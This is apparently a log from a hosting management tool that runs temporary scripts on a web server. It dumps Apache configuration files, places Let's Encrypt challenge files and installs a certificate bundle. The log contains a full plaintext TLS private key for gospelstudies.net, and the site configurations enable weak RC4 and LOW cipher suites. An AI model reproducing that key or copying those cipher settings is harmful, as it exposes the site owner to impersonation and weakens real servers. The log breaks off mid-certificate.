gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/ports.conf')
show_file('/etc/apache2/apache2.conf')
show_file('/etc/apache2/sites-available/000-default.conf')
show_file('/etc/apache2/sites-available/default-ssl.conf')
show_file('/etc/apache2/sites-available/dgmarshall_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-24 14:09:29:
chmod 755 /tmp/pkp194731; /tmp/pkp194731; rm /tmp/pkp194731
2025-12-24 14:09:29:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf 274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf
Listen 80
<IfModule ssl_module>
Listen 443
</IfModule>
<IfModule mod_gnutls.c>
Listen 443
</IfModule>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf 7178
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.
# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
# /etc/apache2/
# |-- apache2.conf
# | `-- ports.conf
# |-- mods-enabled
# | |-- *.load
# | `-- *.conf
# |-- conf-enabled
# | `-- *.conf
# `-- sites-enabled
# `-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
# together by including all remaining configuration files when starting up the
# web server.
#
# * ports.conf is always included from the main configuration file. It is
# supposed to determine listening ports for incoming connections which can be
# customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
# directories contain particular configuration snippets which manage modules,
# global configuration fragments, or virtual host configurations,
# respectively.
#
# They are activated by symlinking available configuration files from their
# respective *-available/ counterparts. These should be managed by using our
# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
# their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
# the default configuration, apache2 needs to be started/stopped with
# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
# work with the default configuration.
# Global configuration
#
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE! If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"
#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default
#
# The directory where shm and other runtime files will be stored.
#
DefaultRuntimeDir ${APACHE_RUN_DIR}
#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}
#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300
#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On
#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100
#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log
#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn
# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
# Include list of ports to listen on
Include ports.conf
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
Require all denied
</FilesMatch>
#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.
# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf
# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf 1286
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf 4573
<VirtualHost *:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
# SSL Engine Switch:
# Enable/Disable SSL for this virtual host.
SSLEngine on
# A self-signed (snakeoil) certificate can be created by installing
# the ssl-cert package. See
# /usr/share/doc/apache2/README.Debian.gz for more info.
# If both key and certificate are stored in the same file, only the
# SSLCertificateFile directive is needed.
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
# Server Certificate Chain:
# Point SSLCertificateChainFile at a file containing the
# concatenation of PEM encoded CA certificates which form the
# certificate chain for the server certificate. Alternatively
# the referenced file can be the same as SSLCertificateFile
# when the CA certificates are directly appended to the server
# certificate for convinience.
#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt
# Certificate Authority (CA):
# Set the CA certificate verification path where to find CA
# certificates for client authentication or alternatively one
# huge file containing all of them (file must be PEM encoded)
# Note: Inside SSLCACertificatePath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCACertificatePath /etc/ssl/certs/
#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt
# Certificate Revocation Lists (CRL):
# Set the CA revocation path where to find CA CRLs for client
# authentication or alternatively one huge file containing all
# of them (file must be PEM encoded)
# Note: Inside SSLCARevocationPath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCARevocationPath /etc/apache2/ssl.crl/
#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl
# Client Authentication (Type):
# Client certificate verification type and depth. Types are
# none, optional, require and optional_no_ca. Depth is a
# number which specifies how deeply to verify the certificate
# issuer chain before deciding the certificate is not valid.
#SSLVerifyClient require
#SSLVerifyDepth 10
# SSL Engine Options:
# Set various options for the SSL engine.
# o FakeBasicAuth:
# Translate the client X.509 into a Basic Authorisation. This means that
# the standard Auth/DBMAuth methods can be used for access control. The
# user name is the `one line' version of the client's X.509 certificate.
# Note that no password is obtained from the user. Every entry in the user
# file needs this password: `xxj31ZMTZzkVA'.
# o ExportCertData:
# This exports two additional environment variables: SSL_CLIENT_CERT and
# SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
# server (always existing) and the client (only existing when client
# authentication is used). This can be used to import the certificates
# into CGI scripts.
# o StdEnvVars:
# This exports the standard SSL/TLS related `SSL_*' environment variables.
# Per default this exportation is switched off for performance reasons,
# because the extraction step is an expensive operation and is usually
# useless for serving static content. So one usually enables the
# exportation for CGI and SSI requests only.
# o OptRenegotiate:
# This enables optimized SSL connection renegotiation handling when SSL
# directives are used in per-directory context.
#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory /usr/lib/cgi-bin>
SSLOptions +StdEnvVars
</Directory>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/dgmarshall_www_com.conf 1383
<VirtualHost *:80>
ServerName dgmarshall.com
ServerAlias www.dgmarshall.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgmarshall.com
ServerAlias www.dgmarshall.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/drewmarshall_audio_ca.conf)= 22d8357d9cce5e6bcf2e85b6b1281b08
MD5(/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt)= 440e26504892bc3a1059c32d3e4b3ddf
MD5(/etc/apache2/sites-available/drewmarshall_soulsurvivor_ca.conf)= 8166627ceae313f355153c8125d9da37
MD5(/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt)= a236e4eb8da1c5725449531e4b1ea0ed
MD5(/etc/apache2/sites-available/bucketgigs_www_ca.conf)= 158f403d5a915a7f62aa737f42f69b2d
MD5(/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt)= 3f5e15343f4ab412c32e5c606be616bd
MD5(/etc/apache2/sites-available/dgmarshall_www_ca.conf)= 3c89aebb4968fdfc28382b74bf36bc10
MD5(/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt)= e663c0f247a2a8956dc452644bcdbf62
MD5(/etc/apache2/sites-available/hillrunfarm_www_ca.conf)= 05ab5b23b6d57df119a4873e563dadfc
MD5(/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt)= a816b3241be8173ed7a0fc657f99965c
MD5(/etc/apache2/sites-available/drewmarshall_datinggame_ca.conf)= ebbdb34ad2f362df48307d46789d9a97
MD5(/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt)= b5bf8bbaa7f4a928066b8f2c46412507
MD5(/etc/apache2/sites-available/drewmarshall_preacheridol_ca.conf)= 537f81295d0edea87734555d50bb3052
MD5(/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt)= b14b2e823e8d72f06d8d8fe3c5ea53c8
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 378517eabf659f2d4c939bc2bcaf1578
MD5(/etc/apache2/sites-available/drewmarshall_caminoconfessions_ca.conf)= 13d11aee1a717ab7f0d1568d05976f14
MD5(/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt)= 5946adf9f69af5c7719e8f4ab6d1db6f
MD5(/etc/apache2/sites-available/drewmarshall_www_ca.conf)= ed696aa19719c408a1f6be693b4ccc7c
MD5(/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt)= 4562ab53be89f71d7926d54229fff9f4
MD5(/etc/apache2/sites-available/ineedtosaythis_www_com.conf)= 662c372961ad6aa5d2639dbb608864e1
MD5(/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt)= abf85fe9ea80b78fbe4537df0fb6c5d9
MD5(/etc/apache2/sites-available/drewmarshall_dgm_ca.conf)= 66aca7cfcca7570702b87aee8bdbb1c7
MD5(/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt)= 73421990dc68d76846842e814dfe0ae5
MD5(/etc/apache2/sites-available/sosretreatscanada_www_com.conf)= 22dad0a24222118b4c6f672028e333e3
MD5(/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt)= 3419fa5c5ad15d762fa1b3b3648b3b73
MD5(/etc/apache2/sites-available/dgmarshall_www_com.conf)= 490697078812a3bb1edb12fbd987d526
MD5(/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt)= c9dac3971c5bf404cd55852586ab64cc
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf)= /etc/apache2/sites-available/drewmarshall_audio_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf)= /etc/apache2/sites-available/drewmarshall_soulsurvivor_ca.conf
link(/etc/apache2/sites-enabled/bucketgigs_www_ca.conf)= /etc/apache2/sites-available/bucketgigs_www_ca.conf
link(/etc/apache2/sites-enabled/dgmarshall_www_ca.conf)= /etc/apache2/sites-available/dgmarshall_www_ca.conf
link(/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf)= /etc/apache2/sites-available/hillrunfarm_www_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf)= /etc/apache2/sites-available/drewmarshall_datinggame_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf)= /etc/apache2/sites-available/drewmarshall_preacheridol_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf)= /etc/apache2/sites-available/drewmarshall_caminoconfessions_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_www_ca.conf)= /etc/apache2/sites-available/drewmarshall_www_ca.conf
link(/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf)= /etc/apache2/sites-available/ineedtosaythis_www_com.conf
link(/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf)= /etc/apache2/sites-available/drewmarshall_dgm_ca.conf
link(/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf)= /etc/apache2/sites-available/sosretreatscanada_www_com.conf
link(/etc/apache2/sites-enabled/dgmarshall_www_com.conf)= /etc/apache2/sites-available/dgmarshall_www_com.conf
STDERR:
/tmp/pkp171334:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-12-25 06:00:03: Establishing a connection
2025-12-25 06:00:03: Establishing a connection
2025-12-25 06:00:03:
PUT: /tmp/pkp740220
#!/bin/bash
if [ -d "/var/www/gospelstudies_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-25 06:00:08:
chmod 755 /tmp/pkp740220; /tmp/pkp740220; rm /tmp/pkp740220
2025-12-25 06:00:08:
1
2025-12-25 06:00:09: Establishing a connection
2025-12-25 06:00:09:
PUT: /tmp/pkp861734
#!/bin/bash
mkdir -p "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cd "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cat > VwolMBepP_l6mUjK-w4mvx3oXzR5AECohf1l-oLXwRc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
VwolMBepP_l6mUjK-w4mvx3oXzR5AECohf1l-oLXwRc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 VwolMBepP_l6mUjK-w4mvx3oXzR5AECohf1l-oLXwRc
cat > ox1I7AmgnXPGqEk6aPn5eb5DMrNyXT30yfEJAN65jr8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ox1I7AmgnXPGqEk6aPn5eb5DMrNyXT30yfEJAN65jr8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ox1I7AmgnXPGqEk6aPn5eb5DMrNyXT30yfEJAN65jr8
2025-12-25 06:00:09:
chmod 755 /tmp/pkp861734; /tmp/pkp861734; rm /tmp/pkp861734
2025-12-25 06:00:10:
2025-12-25 06:00:20: Establishing a connection
2025-12-25 06:00:20:
PUT: /tmp/pkp866213
#!/bin/bash
mkdir -p "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cd "/var/www/gospelstudies_www/.well-known/acme-challenge/"
rm VwolMBepP_l6mUjK-w4mvx3oXzR5AECohf1l-oLXwRc
rm ox1I7AmgnXPGqEk6aPn5eb5DMrNyXT30yfEJAN65jr8
2025-12-25 06:00:20:
chmod 755 /tmp/pkp866213; /tmp/pkp866213; rm /tmp/pkp866213
2025-12-25 06:00:20:
2025-12-25 06:00:20: Establishing a connection
2025-12-25 06:00:20:
PUT: /tmp/pkp446453
#!/bin/bash
temp_file=$(mktemp)
TARGET=9c0bc7e77c379755b26b0bae03e4a9f3.crt
cat > $temp_file <<'endmsg'
91:93:43:fe:81:8d:d5:a9:1c:c9:9e:d0:57:e3:aa:fb
-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBsHUVhNn8SHXEST22eMKA0f9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI1MDUwMTQ5WhcNMjYwMzI1MDUwMTQ4WjAcMRowGAYDVQQD
ExFnb3NwZWxzdHVkaWVzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKepbjvJ3bj4PT4nwfkhm7ByKAKreaNvJGbEN1eb8dAMhdJTmT820EgYY3Nx
4RlQyozbxd9vYTbQZQHE3LMKcST55O8116L1Ir/1pjqh2RVGSlF4GqvtAOJJlf1Z
2fijFdtVWrkVwpWgvAmeMmkOtfn3mTcYMzcgiFBrQH3yNkyWeU8k8PZS8rY3DacP
QCrXykMfseLRBGqiVHYFBFhCG7TwhtkEnsliyoOm/NfJz6+GTb5qlMhjBoo3wh9t
z8VqOIsa48bl83JjWL8Tih03NG2irACDjw4ClVcKSz/Wj99MkvETIcvXn3Aj68I+
heGxnuDnGZLDSYF3UOeDSGoS8JkCAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUZ9DklUu68+6n+PCf3ESLqEuvwXAwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFnb3NwZWxzdHVkaWVzLm5l
dIIVd3d3Lmdvc3BlbHN0dWRpZXMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI2LmNybDCC
AQQGCisGAQQB1nkCBAIEgfUEgfIA8AB2AMs49xWJfIShRF9bwd37yW7ymlnNRwpp
BYWwyxTDFFjnAAABm1QYCJoAAAQDAEcwRQIhALR/ZACsGnU+WPuWEk7ajMnwfHR7
r3xTMweALqAPDMRiAiBpqqXvXBC8RJ4jyyE2vZz7qFK9BlWu4HaJO5MJTev6/gB2
ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8zE/X6AAABm1QYCJgAAAQDAEcw
RQIhANh0UOo6ilhsSThPRgnjRFBgXtNUEl2mwbN51rQLjGZaAiBUhWIHePJnP6Xq
4TRc7OpBhH75TKUivRAnEBUmTSL63jANBgkqhkiG9w0BAQsFAAOCAQEAGEEqWXi4
stjcKIjyxx89grs8h/qS4uz1UIziq/LKQiqSW1BZhyZOyDA0kmJ8jC3MJtexGYeu
2B1XuqEgr+1a0HW+5HWbzhfsw9l3x+9qFmqslZdd9bHdgE6KWZ6U5veHoezY1pSi
YxwPPJHJfTzQYwVDg1Y1xEifPuVTXMcP1k5kV/JPoL1wF7CmboZbJT3IixsBte+s
qAWe8SFqYmm81NimBGOyUGQ2K4jf9/QBFMdY7A0WYxyTQcGTmwZDqRiqy26KxFR4
A4/vlcUEL6QnuQ7IgY11kueTfOup9qxNAjITwst8+AoqXAt+jqeUrgCLKrX32ow9
VaIOO3vrIczfoQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCnqW47yd24+D0+
J8H5IZuwcigCq3mjbyRmxDdXm/HQDIXSU5k/NtBIGGNzceEZUMqM28Xfb2E20GUB
xNyzCnEk+eTvNdei9SK/9aY6odkVRkpReBqr7QDiSZX9Wdn4oxXbVVq5FcKVoLwJ
njJpDrX595k3GDM3IIhQa0B98jZMlnlPJPD2UvK2Nw2nD0Aq18pDH7Hi0QRqolR2
BQRYQhu08IbZBJ7JYsqDpvzXyc+vhk2+apTIYwaKN8Ifbc/FajiLGuPG5fNyY1i/
E4odNzRtoqwAg48OApVXCks/1o/fTJLxEyHL159wI+vCPoXhsZ7g5xmSw0mBd1Dn
g0hqEvCZAgMBAAECggEBAJmHqF7tmrDf+MzrAVBOe1AXKRZQyeFkTDQi5/682bFH
Vl/kl8dwPUhXtPIpTRSui9xy//578syMBoKZL/Rv0m4mu4JljqI10e1wWBkGzlAR
/sodrmbTb+THt6a5WcW6KbCgt6QXDgmQl8BC8iyMAQ32soHmEjgf/VOO8w6h9yEn
iYRKvFccBN27XC4sOFSLMQAboIGKr/pNPZqiMmYrW+UBIQ0+v1oxPt8XbcZI59bF
87FnvzFRjtphrsucm6U49m7IsEfI49AD8tm3Lb31m5KuUtliMQ7NK34BTjaZfUEy
xzNlUMmIbRH/eg75aVsZymN1WMP210/6kOY6CTb1VYECgYEA3YY7ZtZGuUQMcWnG
i/upJdGWbmf+nNq0baZ9mLTvg1Q1wIsZYqytl+YLIOjUa1CsZHQ1EyW98ZHRHy1s
m+rx4jIJlz7OHUMJG5mA53Tt1DiWpohIpBDaw8ECKgs8zJb3IKtZrQQAgSp3X0AI
Xi5Vd1zNheVabyeIouzXb5d7BjECgYEAwcFCKXOKIuyFD72Zn3H9co8CgZRpSBkg
oD42irZclu86A1DQ8UdKR+eQDm65Ijf/7gtutjKRWzxi05G70+NBQVcYpgd1e/Xt
l0mgcQ8aMcX8CiVqM6j8uZPlPlhck1zPJ6NgaYuZPKAYzfxhYfkF7/ZSEBhPjk+Z
6mILFQD1rukCgYAE5dfgYTJ1HC0OQOFz7N+Dh4vE6yW1ABznI7w5KR72j2EU3b50
8Q5xglOSqbMwoDr/iZY20ynM8oVmJBH3rI0mjCasImZaPUYxRwaTl4E+pPWnvvGk
Nv8vPtA2b8MrXtcd8MvtyF3efTrgb0EAHBQlrHaa1ERYms4plAT7YaUFsQKBgQCA
gzvsHIuaIIEdcKfNnyD5dCu4YQT34lrGjp1EojKFlkVHX7pG3v9A9DGTsRMwxC4H
6SNUy/OnrUTribUolIp62VcrALWHNBaUCyzU8KxyKRzEag6oF0URniwmjxtQTvXE
F9RiDUrlcFcjgWviPPcYM6w4qrdR8DBpywAIvWs3yQKBgQDcydBTxKsNHy0s1gwZ
pYrn/keJfkgNjX841yMl+nLlfMC0j7iefLT4WRGGQ2pE/G+ljNfTOD+xdyUYY5ib
eh8HqZGwbizyTjCRmsZSRMqRvskkBr7mDlnm600YEVrNwKxAd14noBGXkI/tc08Z
eASAGx3wq20pe2Qup+qd1wVEBg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
